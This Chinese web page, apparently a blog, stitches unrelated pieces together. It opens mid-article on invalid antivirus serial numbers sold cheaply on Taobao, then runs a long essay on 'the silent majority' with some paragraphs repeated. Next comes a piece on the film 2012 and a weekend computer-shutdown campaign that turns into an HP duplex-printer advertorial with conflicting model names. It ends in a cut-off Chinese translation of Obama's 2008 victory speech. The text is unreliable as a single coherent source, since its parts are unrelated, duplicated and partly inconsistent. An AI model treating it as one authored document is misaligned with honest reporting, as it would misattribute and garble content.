整个过程完成之后,消费者并不会察觉到自己的杀毒软件其实已经失效了,诺顿360不会给出任何提示。只有当用户重新安装操作系统,或者在其他电脑中需要再次激活诺顿360的时候,才会在序列号验证过程中提示消费者序列号已经失效。

让张伟郁闷的是,当他希望诺顿客服能够帮助他解决这个问题时,诺顿客服却遗憾的告诉他,一切非诺顿官网出售的诺顿商品,诺顿都不会提供技术支持和售后服务。在和诺顿客服交涉无果的情况下,张伟只好又去联系淘宝店的卖家,卖家很快就给张伟提供了一个全新的诺顿360序列号。

这个结果并不能够让张伟满意,他认为可能在他下次重新安装操作系统的时候,很可能又要去联系卖家要新的序列号,而且张伟还时刻担心卖家不认帐。“万一有一天淘宝的职位店家不卖诺顿了怎么办呢?”张伟倒不是心疼自己用来购买序列号的18元钱,他更为担心的是,万一杀毒软件那一天因为序列号突然停止升级功能了,而诺顿360又没有提示,这才是让他最担心的情况。

谨慎购买虚拟商品

网络购物、从网络中淘宝已经成为了许多民众生活中的一部分,网络购物、从网络中淘宝已经成为了许多民众生活中的一部分,然而随着虚拟商品种类的增多,特别是不同的软件厂商又各自有不同的政策,导致看似安全的淘宝购物流程,实际上根本无法保护虚拟商品,特别是软件序列号这种商品的真伪。

值得强调的是,如果杀毒软件厂商能够做好软件序列号购买的说明,并加大对网络购物网站中那些卖到白菜价的奸商的打击力度,一定能够减少用户上当受骗的几率。在我们的调查中还发现许多店铺都存在“一号多买”、“退款注销”等现象。以我们调查的卡巴斯基为例,记者在淘宝网花20元购买了一个卡巴斯基3年期账号,在购买之后账号可以顺利注册使用。但是当记者在计算机中重新安装操作系统之后,在用购买来的账号激活卡巴斯基的时候,软件提示记者使用的账号已经超过了最高的激活次数,于是这个三年的卡巴斯基就此不能够使用了。

除了网购网站、杀毒软件公司的引导和提示,消费者自身也需要提高警惕,在购买软件序列号的时候,尽量货比三家,不要因为一时贪图小便宜,而让自己的电脑和数据资料暴露在危险之中。所以,我们只能够希望杀毒软件厂商和淘宝能够制定一套更加符合虚拟软件商品的销售政策。而消费者在购买杀毒软件的时候,也尽量咨询软件厂家客服,确保万无一失。

  ”在一个喧嚣的话语圈下面,始终有一个沉默的大多数。既然精神原子弹在一颗又一颗地炸着,哪里有我们说话的份?但我辈现在开始说话,以前说过的一切和我们都无关系–总而言之,是个一刀两断的意思。千里之行,始于足下,中国要有自由派,就从我辈开始。”
  君特·格拉斯在《铁皮鼓》里,写了一个不肯长大的人。小奥斯卡发现周围的世界太过荒诞,就暗下决心要永远做小孩子。在冥冥之中,有一种力量成全了他的决心,所以他就成了个侏儒。这个故事太过神奇,但很有意思。人要永远做小孩子虽办不到,但想要保持沉默是能办到的。在我周围,像我这种性格的人特多──在公众场合什么都不说,到了私下里则妙语连珠,换言之,对信得过的人什么都说,对信不过的人什么都不说。起初我以为这是因为经历了严酷的时期(文革),后来才发现,这是中国人的通病。龙应台女士就大发感慨,问中国人为什么不说话。她在国外住了很多年,几乎变成了个心直口快的外国人。她把保持沉默看做怯懦,但这是不对的。沉默是一种人类学意义上的文化,一种生活方式。它的价值观很简单:开口是银,沉默是金。一种文化之内,往往有一种交流信息的独特方式,甚至是特有的语言,有一些独有的信息,文化可以传播,等等。这才能叫作文化。

  沉默有自己的语言。举个住楼的人都知道的例子:假设有人常把一辆自行车放在你门口的楼道上,挡了你的路,你可以开口去说:打电话给居委会;或者直接找到车主,说道:同志,五讲四美,请你注意。此后他会用什么样的语言来回答你,我就不敢保证。我估计他最起码要说你"事儿",假如你是女的,他还会说你"事儿妈",不管你有多大岁数,够不够做他妈。当然,你也可以选择沉默的方式来表达自己对这种行为的厌恶之情:把他车胎里的气放掉。干这件事时,当然要注意别被车主看见。

  还有一种更损的方式,不值得推荐,那就是在车胎上按上个图钉。有人按了图钉再拔下来,这样车主找不到窟窿在哪儿,补带时更困难。假如车子可以搬动,把它挪到难找的地方去,让车主找不着它,也是一种选择。这方面就说这么多,因为我不想编沉默的辞典。

  一种文化必有一些独有的信息,沉默也是有的。戈尔巴乔夫说过这样的话:有一件事是公开的秘密,假如你想给自己盖个小房子,就得给主管官员些贿赂,再到国家的工地上偷点建筑材料。这样的事干得说不得,属于沉默;再加上讲这些话时,戈氏是苏共总书记,所以当然语惊四座。还有一点要补充的,那就是:属于沉默的事用话讲了出来,总是这么怪怪的。

  沉默也可以传播。在某些年代里,所有的人都不说话了,沉默就像野火一样四下漫延着。把这叫作传播,多少有点过甚其辞,但也不离大谱。在沉默的年代里,人们也在传播小道消息,这件事破坏了沉默的完整性。好在这种话语我们只在一些特定的场合说,比方说,公共厕所。最起码在追查谣言时,我们是这样交待的:这话我是在厕所里听说的!这样小道消息就成了包含着排便艰巨的呓语,不值得认真对待。另外,公厕虽然也是公共场合,但我有种强烈的欲望,要把它排除在外,因为它太脏了。

  我属于沉默的大多数。从我懂事的年龄,就常听人们说:我们这一代,生于一个神圣的时代,多么幸福;而且肩负着解放天下三分之二受苦人的神圣使命,等等;在甜蜜之余也有一点怀疑:这么多美事怎么都叫我赶上了。再说,含蓄是我们的家教。

  在三年困难时期,有一天开饭时,每人碗里有一小片腊肉。我弟弟见了以后,按捺不住心中的狂喜,冲上阳台,朝全世界放声高呼:我们家吃大鱼大肉了!结果是被我爸爸拖回来臭揍了一顿。经过这样的教育,我一直比较深沉。所以听到别人说:我们多么幸福、多么神圣时,别人在受苦,我们没有受等等,心里老在想着:假如我们真遇上了这么多美事,不把它说出来会不会更好。当然,这不是说,我不想履行自己的神圣职责。对于天下三分之二的受苦人,我是这么想的:与其大呼小叫说要去解放他们、让人家苦等,倒不如一声不吭。忽然有一天把他们解放,给他们一个意外惊喜。总而言之,我总是从实际的方面去考虑,而且考虑得很周到。智者千虑尚且难免一失,何况当年我只是个小孩子。我就没想到这些奇妙的话语只是说给自己听的,而且不准备当真去解放谁。总而言之,家教和天性谨慎,是我变得沉默的起因。

  与沉默的大多数相反,任何年代都有人在公共场合喋喋不休。我觉得他们是少数人,可能有人会不同意。如福科先生所言,话语即权力。当我的同龄人开始说话时,给我一种极恶劣的印象。有位朋友写了一本书,写的是自己在文革中的遭遇,书名为<<血统>>。可以想见,她出身不好。她要我给她的书写个序。这件事使我想起来自己在那些年的所见所闻。文革开始时,我十四岁,正上初中一年级。有一天,忽然发生了惊人的变化,班上的一部份同学忽然变成了红五类,另一部份则成了黑五类。我自己的情况特殊,还说不清是哪一类。当然,这红和黑的说法并不是我们发明出来,这个变化也不是由我们发起的。照我看来,红的同学忽然得到了很大的好处,这是值得祝贺的。黑的同学忽然遇上了很大的不幸,也值得同情。我不等对他们一一表示祝贺和同情,一些红的同学就把脑袋刮光,束上了大皮带,站在校门口,问每一个想进来的人:你什么出身?他们对同班同学问得格外仔细,一听到他们报出不好的出身,就从牙缝里迸出三个字:"狗崽子!"当然,我能理解他们突然变成了红五类的狂喜,但为此非要使自己的同学在大庭广众下变成狗崽子,未免也太过份。这使我以为,使用话语权是人前显贵,而且总都是为了好的目的。现在看来,我当年以为的未必对,但也未必全错。

  话语有一个神圣的使命,就是想要证明说话者本身与众不同,是芸芸众生中的娇娇者。现在常听说的一种说法是:中国人拥有世界上最杰出的文化,在全世界一切人中最聪明。对此我不想唱任何一种反调,我也不想当人民公敌。我还持十几岁时的态度:假设这些都是实情,我们不妨把这些保藏在内心处不说,"闷兹蜜"。这些话讲出来是不好的,正如在文革时,你可以因自己是红五类而沾沾自喜,但不要到人前去显贵,更不要说别人是狗崽子。根除了此类话语,我们这里的话就会少很多,但也未尝不是好事现在我要说的是另一个题目:我上小学六年级时,暑期布置的读书作业是<<南方来信>>。那是一本记述越南人民抗美救国斗争的读物,其中充满了处决、拷打和虐杀。

  看完以后,心里充满了怪怪的想法。那时正在青春期的前沿,差一点要变成个性变态了。总而言之,假如对我的那种教育完全成功,换言之,假如那些园丁、人类灵魂的工程师对我的期望得以实现,我就想像不出现在我怎能不嗜杀成性、怎能不残忍,或者说,在我身上,怎么还会保留了一些人性。好在人不光是在书本上学习,还会在沉默中学习。这是我人性尚存的主因。

  现在我就在发掘沉默,但不是作为一个社会科学工作者来发掘。这篇东西大体属于文学的范畴,所谓文学就是:先把文章写到好看,别的就管他妈的。现在我来说明自己为什么人性尚存。文化革命刚开始时,我住在一所大学里。有一天,我从校外回来,遇上一大伙人,正在向校门口行进。走在前面的是一夥大学生,彼此争论不休,而且嗓门很大;当然是在用时髦话语争吵,除了毛主席的教导,还经常提到"十六条"。所谓十六条,是中央颁布的展开文化革命的十六条规定,其中有一条叫作"要文斗、不要武斗",制定出来就是供大家违反之用。在那些争论的人之中,有一个人居于中心地位。但他双唇紧闭,一声不吭,唇边似有血迹。在场的大学生有一半在追问他,要他开口说话,另一半则在维护他,不让他说话。文化革命里到处都有两派之争,这是个具体的例子。至于队伍的后半部分,是一帮像我这么大的男孩子,一个个也是双唇紧闭,一声不吭,但唇边没有血迹,阴魂不散地跟在后面。有几个大学生想把他们拦住,但是不成功,你把正面拦住,他们就从侧面绕过去,但保持着一声不吭的态度。这件事相当古怪,因为我们院里的孩子相当的厉害,不但敢吵敢骂,而且动起手来,大学生还未必是个儿,那天真是令人意外的老实。我立刻投身其中,问他们出了什么事,怪的是这些孩子都不理我,继续双唇紧闭,两眼发直,显出一种坚忍的态度,继续向前行进──这情形好像他们发了一种集体性的癔症。

  有关癔症,我们知道,有一种一声不吭,只顾扬尘舞蹈;另一种喋喋不休,就不大扬尘舞蹈。不管哪一种,心里想的和表现出来的完全不是一回事。我在北方插队时,村里有几个妇女有癔症,其中有一位,假如你信她的说法,她其实是个死去多年的狐狸,成天和丈夫(假定此说成立,这位丈夫就是个兽奸犯)吵吵闹闹,以狐狸的名义要求吃肉。但肉割来以后,她要求把肉煮熟,并以大蒜佐餐。很显然,这不合乎狐狸的饮食习惯。所以,实际上是她,而不是它要吃肉。至于文化革命,有几分像场集体性的癔症,大家闹的和心里想的也不是一回事。但是我说的那些大学里的男孩子其实没有犯癔症。后来,我揪住了一个和我很熟的孩子,问出了这件事的始末:原来,在大学生宿舍的盥洗室里,有两个学生在洗脸时相遇,为各自不同的观点争辩起来。争着争着,就打了起来。其中一位受了伤,已被送到医院。另一位没受伤,理所当然地成了打人凶手,就是走在队伍前列的那一位。这一大夥人在理论上是前往某个机构(叫作校革委还是筹委会,我已经不记得了)讲理,实际上是在校园里做无目标的布朗运动。

  这个故事还有另一个线索:被打伤的学生血肉模糊,有一只耳朵(是左耳还是右耳已经记不得,但我肯定是两者之一)的一部份不见了,在现场也没有找到。根据一种安加莎·克里斯蒂式的推理,这块耳朵不会在别的地方,只能在打人的学生嘴里,假如他还没把它吃下去的话;因为此君不但脾气暴燥,急了的时候还会咬人,而且咬了不止一次了。我急于交待这件事的要点,忽略了一些细节,比方说,受伤的学生曾经惨叫了一声,别人就闻声而来,使打人者没有机会把耳朵吐出来藏起来,等等。总之,此君现在只有两个选择,或是在大庭广众之中把耳朵吐出来,证明自己的品行恶劣,或者把它吞下去。我听到这些话,马上就加入了尾随的行列,双唇紧闭,牙关紧咬,并且感觉到自己嘴里仿佛含了一块咸咸的东西现在我必须承认,我没有看到那件事的结局;因为天晚了,回家太晚会有麻烦。

  但我的确关心着这件事的进展,几乎失眠。这件事的结局是别人告诉我的:最后,那个咬人的学生把耳朵吐了出来,并且被人逮住了。不知你会怎么看,反正当时我觉得如释重负:不管怎么说,人性尚且存在。同类不会相食,也不会把别人的一部份吞下去。当然,这件事可能会说明一些别的东西:比方说,咬掉的耳朵块太大,咬人的学生嗓子眼太细,但这些可能性我都不愿意考虑。我说到这件事,是想说明我自己曾在沉默中学到了一点东西,而这些东西是好的。这是我选择沉默的主要原因之一:从话语中,你很少能学到人性,从沉默中却能。假如还想学得更多,那就要继续一声不吭。

  有一件事大多数人都知道:我们可以在沉默和话语两种文化中选择。我个人经历过很多选择的机会,比方说,插队的时候,有些插友就选择了说点什么,到"积代会"上去"讲用",然后就会有些好处。有些话年轻的朋友不熟悉,我只能简单地解释道:积代会是"活学活用毛主席著作积极分子代表大会",讲用是指讲自己活学活用毛主席著作的心得体会。参加了积代会,就是积极分子。而积极分子是个好意思。

  另一种机会是当学生时,假如在会上积极发言,再积极参加社会活动,就可能当学生干部,学生干部又是个好意思。这些机会我都自愿地放弃了。选择了说话的朋友可能不相信我是自愿放弃的,他们会认为,我不会说话或者不够档次,不配说话。因为话语即权力,权力又是个好意思,所以的确有不少人挖空心思要打进话语的圈子,甚至在争夺"话语权"。我说我是自愿放弃的,有人会不信──好在还有不少人会相信。

  主要的原因是进了那个圈子就要说那种话,甚至要以那种话来思索,我觉得不够有意思。据我所知,那个圈子里常常犯着贫乏症。

  二十多年前,我在云南当知青。除了穿着比较乾净、皮肤比较白晰之外,当地人怎么看待我们,是个很费猜的问题。我觉得,他们以为我们都是台面上的人,必须用台面上的语言和我们交谈──最起码在我们刚去时,他们是这样想的。这当然是一个误会,但并不讨厌。还有个讨厌的误会是:他们以为我们很有钱,在集市上死命地朝我们要高价,以致我们买点东西,总要比当地人多花一两倍的钱。后来我们就用一种独特的方法买东西:不还价,甩下一叠毛票让你慢慢数,同时把货物抱走。等你数清了毛票,连人带货都找不到。起初我们给的是公道价,后来有人就越给越少,甚至在毛票里杂有些分票。假如我说自己洁身自好,没干过这种事,你一定不相信;所以我决定不争辩。终于有一天,有个学生在这样买东西时被老乡扯住了;但这个人决不是我。那位老乡决定要说该同学一顿,期期艾艾地憋了好半天,才说出:哇!不行啦!思想啦!斗私批修啦!后来我们回家去,为该老乡的话语笑得打滚。可想而知,在今天,那老乡就会说:哇!不行啦!五讲啦!四美啦!三热爱啦!同样也会使我们笑得要死。从当时的情形和该老乡的情绪来看,他想说的只是一句很简单的话,那一句话的头一个字发音和洗澡的澡有些相似。我举这个例子,绝不是讨了便宜又要卖乖,只是想说明一下话语的贫乏。用它来说话都相当困难,更不要说用它来思想了。话语圈子里的朋友会说,我举了一个很恶劣的例子──我记住这种事,只是为了丑化生活;但我自己觉得不是的。还有一些人会说,我们这些熟练掌握了话语的人在嘲笑贫下中农,这是个卑劣的行为。说实在的,那些话我虽耳熟,但让我把它当众讲出口来,那情形不见得比该老乡好很多。我希望自己朴实无华,说起话来,不要这样绕嘴,这样古怪,这样让人害怕。这也是我保持沉默的原因之一。

  中国人有句古话:敬惜字纸。这话有古今两种通俗变体:古代人们说,用印了字的纸擦屁股要瞎眼睛;现代有种近似科学的说法:用有油墨的纸擦屁股会生痔疮。其实,真正要敬惜的根本就不是纸,而是字。文字神圣。我没听到外国有类似的说法,他们那里神圣的东西都与上帝有关。人间的事物要想神圣,必须经过上帝或者上帝在人间代理机构的认可。听说,天主教的主教就需要教皇来祝圣。相比之下,中国人就不需要这个手续。只要读点书,识点字,就可以写文章。写来写去,自祝自圣。这件事有好处,也有不好处。好处是达到神圣的手续甚为简便,坏处是写什么都要带点"圣"气,就丧失了平常心。我现在在写字,写什么才能不亵渎我神圣的笔,真是个艰巨的问题。古代和近代有两种方法可以壮我的胆。古代的方法是,文章要从夫子曰开始。近代的方法是从"毛主席教导我们说"开始。这两种方法我都不拟采用。其结果必然是:这篇文字和我以往任何一篇文字一样,没有丝毫的神圣性。

  我们所知道、并且可以交流的信息有三级:一种心知肚明,但既不可说也不可写另一种可说不可写,我写小说,有时就写出些汉语拼音来。最后一种是可以写出来的。

  当然,说得出的必做得出,写得出的既做得出也说得出;此理甚明。人们对最后这类信息交流方式抱有崇敬之情。在这方面我有一个例子:我在云南插队时,有一阵是记工员。队里的人感觉不舒服不想上工,就给我写张假条。有一天,队里有个小伙子感觉屁股疼,不想上工。他可以用第一种方式通知我,到我屋里来,指指屁股,再苦苦脸,我就会明白。用第二种方法也甚简便。不幸他用了第三种方式。我收到那张条子,看到上面写着"龟头疼",就照记下来。后来这件事就传扬开来,队里的人还说,他得了杨梅大疮,否则不会疼在那个部位上。因此他找到我,还威胁说要杀掉我。经过核实原始凭据,发现他想按书面语言,写成臀部疼,不幸写成了"电布疼",除此之外,还写得十分歪歪斜斜。以致我除了认做龟头疼,别无他法。其实呢,假如他写屁股疼,我想他是能写出的;此人既不是龟头疼,也不是屁股疼,而是得了痔疮;不过这一点已经无关紧要了。要紧的是人们对于书面话语的崇敬之情。假如这种话语不仅是写了出来,而且还印了出来,那它简直就是神圣的了。但不管怎么说罢,我希望人们在说话和写文章时,要有点平常心。屁股疼就说屁股疼,不要写电布疼。至于我自己,丝毫也不相信有任何一种话语是神圣的。缺少了这种虔诚,也就不配来说话。

  我所说的一切全都过去了。似乎没有必要保持沉默了。如前所述,我曾经是个沉默的人,这就是说,我不喜欢在各种会议上发言,也不喜欢写稿子。这一点最近已经发生了改变,参加会议时也会发言,有时也写点稿。对这种改变我有种强烈的感受,有如丧失了童贞。这就意味着我违背了多年以来的积习,不再属于沉默的大多数了。

  我还不致为此感到痛苦,但也有一点轻微的失落感,我们的话语圈从五十年代起,就没说过正常的话:既鼓吹过亩产三十万吨钢,也炸过精神原子弹。说得不好听,它是座声名狼籍的疯人院。如今我投身其中,只能有两种可能:一是它正常了,二是我疯掉了,两者必居其一。我当然想要弄个明白,但我无法验证自己疯没疯。在这方面有个例子:当年里根先生以七十以上的高龄竞选总统,有人问他:假如你当总统以后老糊涂了怎么办?里根先生答道:没有问题。假如我老糊涂了,一定交权给副总统。然后人家又问:你老糊涂了以后,怎能知道自己老糊涂了?他就无言以对。这个例子对我也适用:假如我疯掉了,一定以为自己没有疯。我觉得话语圈子比我容易验证一些。

  假如你相信我的说法,沉默的大多数比较谦虚、比较朴直、不那么假正经,而且有较健全的人性。如果反过来,说那少数说话的人有很多毛病,那也是不对的。不过他们的确有缺少平常心的毛病。

  几年前,我参加了一些社会学研究,因此接触了一些"弱势群体",其中最特别的就是同性恋者。做过了这些研究之后,我忽然猛省到:所谓弱势群体,就是有些话没有说出来的人。就是因为这些话没有说出来,所以很多人以为他们不存在或者很遥远。在中国,人们以为同性恋者不存在。在外国,人们知道同性恋者存在,但不知他们是谁。有两位人类学家给同性恋者写了一本书,题目就叫做<>。然后我又猛省到自己也属于古往今来最大的一个弱势群体,就是沉默的大多数。这些人保持沉默的原因多种多样,有些人没能力、或者没有机会说话;还有人有些隐情不便说话;还有一些人,因为种种原因,对于话语的世界有某种厌恶

  之情。我就属于这最后一种。

  对我来说,这是青少年时代养成的习惯,是一种难改的积习。小时候我贫嘴聊舌,到了一定的岁数之后就开始沉默寡言。当然,这不意味着我不会说话──在私下里我说的话比任何人都不少──这只意味着我放弃了权力。不说话的人不仅没有权力,而且会被人看做不存在,因为人们不会知道你。

  我曾经是个沉默的人,这就是说,我不喜欢在各种会议上发言,也不喜欢写稿子。

  这一点最近已经发生了改变,参加会议时也会发言,有时也写点稿。对这种改变我有种强烈的感受,有如丧失了童贞。这就意味着我违背了多年以来的积习,不再属于沉默的大多数了。我还不至为此感到痛苦,但也有一点轻微的失落感。现在我负有双重任务,要向保持沉默的人说明,现在我为什么要进入话语的圈子;又要向在话语圈子里的人说明,我当初为什么要保持沉默,而且很可能在两面都不落好。照我看来,头一个问题比较容易回答。我发现在沉默的人中间,有些话永远说不出来。照我看,这件事是很不对的。因此我就很想要说些话。当然,话语的圈子里自然有它的逻辑,和我这种逻辑有些距离。虽然大家心知肚明,但我还要说一句,话语圈子里的人有作家、社会科学工作者,还有些别的人。出于对最后一些人的尊重,就不说他们是谁了──其实他们是这个圈子的主宰。我曾经是个社会科学工作者,那时我想,社会科学的任务之一,就是发掘沉默。就我所知,持我这种立场的人不会有好下场。不过,我还是想做这件事。

  第二个问题是:我当初为什么要保持沉默。这个问题难回答,是因为它涉及到一系列复杂的感觉。一个人决定了不说话,他的理由在话语圈子里就是说不清的。但是,我当初面对的话语圈和现在的话语圈已经不是一个了──虽然它们有一脉相承之处。

  在今天的话语圈里,也许我能说明当初保持沉默的理由。而在今后的话语圈里,人们又能说明今天保持沉默的理由。沉默的说明总是要滞后于沉默。倘若你问,我是不是依然部份地保持了沉默,就是明知故问──不管怎么说,我还是决定了要说说昨天的事。但是要慢慢地说。

  七八年前,我在海外留学,遇上一位老一辈的华人教授。聊天的时候他问:你们把太太叫作"爱人"──那么,把lover叫做什么?我呆了一下说道:叫作"第三者"罢。他朝我哈哈大笑了一阵,使我感觉受到了暗算,很不是滋味。回去狠狠想了一下,想出了一大堆:情人、傍肩儿、拉边套的、乱搞男女关系的家伙、破鞋或者野汉子,越想越歪。人家问的是我们所爱的人应该称作什么,我竟答不上来。倘若说大陆上全体中国人就只爱老婆或老公,别人一概不爱,那又透着虚伪。最后我只能承认:这个称呼在话语里是没有的,我们只是心知肚明,除了老婆和老公,我们还爱过别人。以我自己为例,我老婆还没有和我结婚时,我就开始爱她。此时她只是我的女朋友。根据话语的逻辑,我该从领到了结婚证那一刻开始爱她,既不能迟,也不能早。不过我很怀疑谁控制自己感情的能力有这么老到。由此可以得到两个推论:其一,完全按照话语的逻辑来生存,实在是困难得很。其二:创造话语的人是一批假正经。沿着第一个推理前进,会遇上一堆老话。越是困难,越是要上;存天理灭人欲嘛──那些陈糠烂谷子太多了,不提也罢。让我们沿着第二条道路前进:"爱人"这个字眼让我们想到什么?做爱。这是个外来语,从makelove硬译而来。本土的词儿最常用有两个,一个太粗,根本不能写。另外一个叫作"敦伦"。这个词儿实在有意思。假如有人说,他总是以敦厚人伦的虔敬心情来干这件事,我倒想要认识他,因为他将是我所认识的最不要脸的假正经。为了捍卫这种神圣性,做爱才被叫作"敦伦"。

  现在可以说说我当初保持沉默的原因。时至今日,哪怕你借我个胆子,我也不敢说自己厌恶神圣。我只敢说我厌恶自己说自己神圣,而且这也是实情。

  在一个科幻故事里,有个科学家造了一个机器人,各方面都和人一样,甚至和人一样的聪明,但还不像人。因为缺少自豪感,或者说是缺少自命不凡的天性。这位科学家就给该机器人装上了一条男根。我很怀疑科学家的想法是正确的。照我看来,他只消给机器人装上一个程序,让他到处去对别人说:我们机器人是世界上最优越的物种,就和人是一样的了。

  但是要把这种经历作为教学方法来推广是不合适的。特别是不能用咬耳朵的方法来教给大家人性的道理,因为要是咬人耳的话,被咬的人很疼,咬猪耳的话,效果又太差。所以,需要有文学和社会科学。我也要挤入那个话语圈,虽然这个时而激昂、时而消沉,时而狂吠不止、时而一声不吭的圈子,在过去几十年里从来就没教给人一点好的东西,但我还要挤进去。

2009-12-15

苗得雨

2012年冬至,黑夜过后还会有黎明吗?影片《2012》狂扫全球票房的同时,也给所有的观众留下了相同的疑问。火山、地震、地极转换,所有你能够想象到的天灾汇聚成了巨大的力量,把观众裹挟在一个恐慌的世界里。

美国NASA航空航天局在网站上反复声明,他们从来没有像影片中那样隐藏过关于世界末日来临的信息,但是所有出现在影片当中的先知们,包括玛雅学者、印度矿工、西藏僧侣和NASA自己的科学家们,还是接到了潮水般的电话,所有的问题只有一个,就是2012年真的会是世界末日吗?

尽管到目前为止,还没有科学证据显示,2012年地球就会毁灭。地球已经平安存在了40亿年,按照现在的状况,它还将平安的存在很多亿年,但是神秘的古玛雅历法,中世纪的预言以及中国的易经,甚至现代科学,为何都指向2012?

2012宣传的恐怖效果,让最近举行的哥本哈根联合国气候变化大会笼罩了上更加紧张的气氛。气候问题已经成为地球上所有人类必须直面的严峻问题。专家为碳减排建议了多种手段:太阳能,风能,电动车,碳捕获,排放交易。一些中国城市年轻人提出了另一种解决办法:周末关掉电脑。

“周末不开电脑”这条建议来自一个名叫No Computer 63 Hours的网站组织。活动组织者建议,人们在周五下午6点关掉电脑,等到周一上午9点上班时再开机。你可以点击这里了解这项活动的内容,但只有在工作日才能看到。

NC63活动的支持者说,他们“希望号召每个人通过周末关掉电脑的实际行动,支持低碳生活和绿色生活,支持环保公益事业,选择和支持地球” 。而他们更大的议程是“提醒白领适度使用电脑网络,减少因过度上网对健康、人际等多方面造成的负面影响”。是几年前形成的“Shutdown Day”(关机日)的扩大版。不过Shutdown Day是一年一次,而NC63是涉及到每个周末。

NC63活动具有严肃的意义──这反映出中国年轻白领对环境保护和全球变暖问题有了新生但不断壮大的意识,美国一个组织预计,一台配备17英寸显示器的普通台式电脑如果一年始终开机,可能会向大气排放超过1.5吨的二氧化碳。

关掉电脑对于大部分公司来说是无法做到的,但是使用更绿色的打印机,双面打印应该是绝大多数公司能够做到的。双面打印的文档,厚度和重量都只有单面打印的一半,装订和携带都更为方便。这不仅节省了50%的存放空间,还大大降低了出差或会议时商务人士携带各类资料的重量。这对于那些经常在国内外飞来飞去的商务人士来说,是非常有吸引力的。或许,这正是不少公务繁忙的商务人士有时甚至会愿意浪费时间手动双面打印文档的原因所在。

但手动双面打印的诸多麻烦,让很多商务人士不得不望而却步。手工双面打印需打印好奇数页之后再放入打印机进纸盒在其背面打印偶数页,不仅因人工干预降低了效率,而且很容易出现漏页和倒页等各种错误。特别是多人共享网络打印机的应用环境下,更容易出现未及更换纸张而把偶数页打印到新的打印纸上或将打印好奇数页的纸张放入进纸盒后打印了其他同事要打印的内容,一旦出现这些错误重新打印都会造成新的浪费。

与手动双面打印相比,标配自动双面打印的商务激光打印机不需要人工干预即可轻松输出精美的双面打印文档,不会出现手工操作常带来的倒页漏页等问题,打印效率更远非手动双面打印可比拟。

双面打印不仅符合人们久已形成的阅读习惯,在节约成本和保护环境方面的优势更是显而易见。与单面打印相比,自从双面打印能在不降低办公效率的条件下节约一半的打印纸张,能大幅降低日常办公成本。以一个每月打印量10,000页的中小型商业用户为例,如果从单面打印改为自动双面打印,每月可节省5,000张打印纸,以每页80g A4普通打印纸0.06元计算,仅此一项每月就可节省办公成本300元。以此观之,只需要不到10个月,节约的打印纸成本就可以购买一台具有自动双面打印功能的HP LaserJet 2055d商用黑白激光打印机,尽情享受每分钟33页,每月打印负荷50,000页的高效稳定的自动双面打印。

放宽观察的视界,自动双面打印节省50%的纸张,不仅能帮助用户直接节约办公成本,还能更有效地保护人类赖以生存的环境。据测算,一台工作组级的自动双面打印的网络激光打印机,每年可节省1吨打印纸。而生产1吨打印纸则需6棵成材的树木,同时消耗10吨宝贵的水资源。以此观之,如果全球商业用户都逐渐采用自动双面打印,无疑将会极大地降低商务打印的资源消耗和环境污染,更好地保护我们共同的家园。

可以预计,随着越来越多商业用户开始选择兼具效率、成本和环保等诸多优势的自动双面打印激光打印机,HP LaserJet P2005作为国内首款,同时也是唯一一款价格进入2000元区间的自动双面打印商用黑白激光打印机将会取得巨大的市场成功。HP LaserJet P2055的标杆作用,将会吸引打印厂商迅速推出全系列的标配自动双面打印的商务黑白激光打印机,推动商务办公全面跨入自动双面打印时代。

2009-12-09

PS:如果有可能我们应该看奥巴马的演讲的现场视频,记得我和爱人守在电视机前看结果的时候,当他演讲到中间的时候,虽然爱人的英语并不是很好,并没有全部都听明白奥巴马的每一个理念,但是当那磁性的声音环绕全场的时候,当他富有节奏感的语调铿锵有力的在广场中荡漾的时候,我们都泪流满面。无论现在还是未来,无论他有没有实现他的理想,但是他给了我们一个梦想,至少在那一看,我们看到了希望在闪动!

 

哈啰,芝加哥!

 

如果外头还有人怀疑,美国是否真的是任何事都可能发生的地方,怀疑我们开国先贤的梦想今天是否依然存在,怀疑我们民主的力量;今夜,就是你们要的答案。

 

这是个用这个国家仅见,环绕学校、教堂的无数人龙,所说的答案。这些人,苦等三、四个小时,许多还是生平头一次,因为他们相信,这次一定要不一样,他们的声音就是明证。

 

这是个由不分老少、贫富、民主党、共和党;黑人、白人、拉丁裔、亚裔、美洲原住民;同性恋、异性恋人;肢障与四体健全者,大家共同诉说的答案。美国民众向全世界发出讯息,我们绝非一盘散沙,也不是由红州、蓝州拼凑而成的集合体。

 

我们现在是,未来也永远是,美利坚合众国。

 

这个是引领国人把手放在历史拱弧,再度让它指向明天会更美好希望的答案。长久以来,这些国人一直被许多人灌输,要嘲讽、害怕和怀疑我们自身的能力。

 

这个答案迟迟未出现,但是今晚,由于我们在这个投票日关键时刻的所作所为,改变终于降临美国。

 

今晚稍早,我接到马侃参议员打来,态度非常恳切的电话。

 

马侃参议员已打完一场漫长艰苦的选战。他为这个他所热爱的国家所打的仗更久,更艰苦。他为美国的奉献牺牲,是我们多数同胞难以想象的。因为有他这位勇敢无私的领袖的奉献,我们才能过比较好的日子。

 

我向他道贺;也向裴林州长道贺,为他们所成就的一切。我迫不及待想和他们携手合作,在未来数月更新这个国家的许诺。

 

我要感谢我的选举搭档,这位先生全心全意竞选,为与他在史克兰顿街头一起长大的男男女女代言。在前往特拉华州的路上,和我一起以火车为家,他就是副总统当选人,拜登先生。

 

如果没有过去十六年来坚定支持的挚友,我今晚不可能站在这里。她是我家庭的盘石,我一生的最爱,国家未来的第一夫人米歇尔‧欧巴马。

 

莎夏和玛利亚。我对妳俩的爱远超过妳们想象。你们已赢得即将和我们一起到新白宫作伴的新小狗。

 

还有,虽然她已不在我们身边,但是我知道我外婆,也和造就今日之我的家族一起在看。今晚,我想念他们。我知道,我欠他们的,无法衡量。

 

我妹妹玛亚、埃玛、我的其他兄弟姊妹们,非常感谢你们给我的所有支持。我很感谢他们。

 

还有,我的竞选经理普罗费,这次竞选的无名英雄,我认为他营造了美国史上最佳的政治运动。

 

感谢我的首席竞选策略顾问艾索洛,一路走来,他一直是我的得力伙伴。

 

感谢这个政治史上无出其右的最佳竞选团队,你们造就了这项成果,我对你们的牺牲奉献,永存感激。

 

总之,我绝不会忘记这个胜利真正属于谁。它属于你们大家。它是你们的。

 

我从来就不是这个职位最被看好的候选人。刚开始,我没什么钱,也没什么后援。我们参选的念头,并非始于华府大厅,而是来自第蒙市后院,康科市客厅和查尔斯敦的门廊,再经由众多男女,用他们从有限储蓄中拿出,依法所能捐献的五块、十块和廿块美元,共同打造出来的。

 

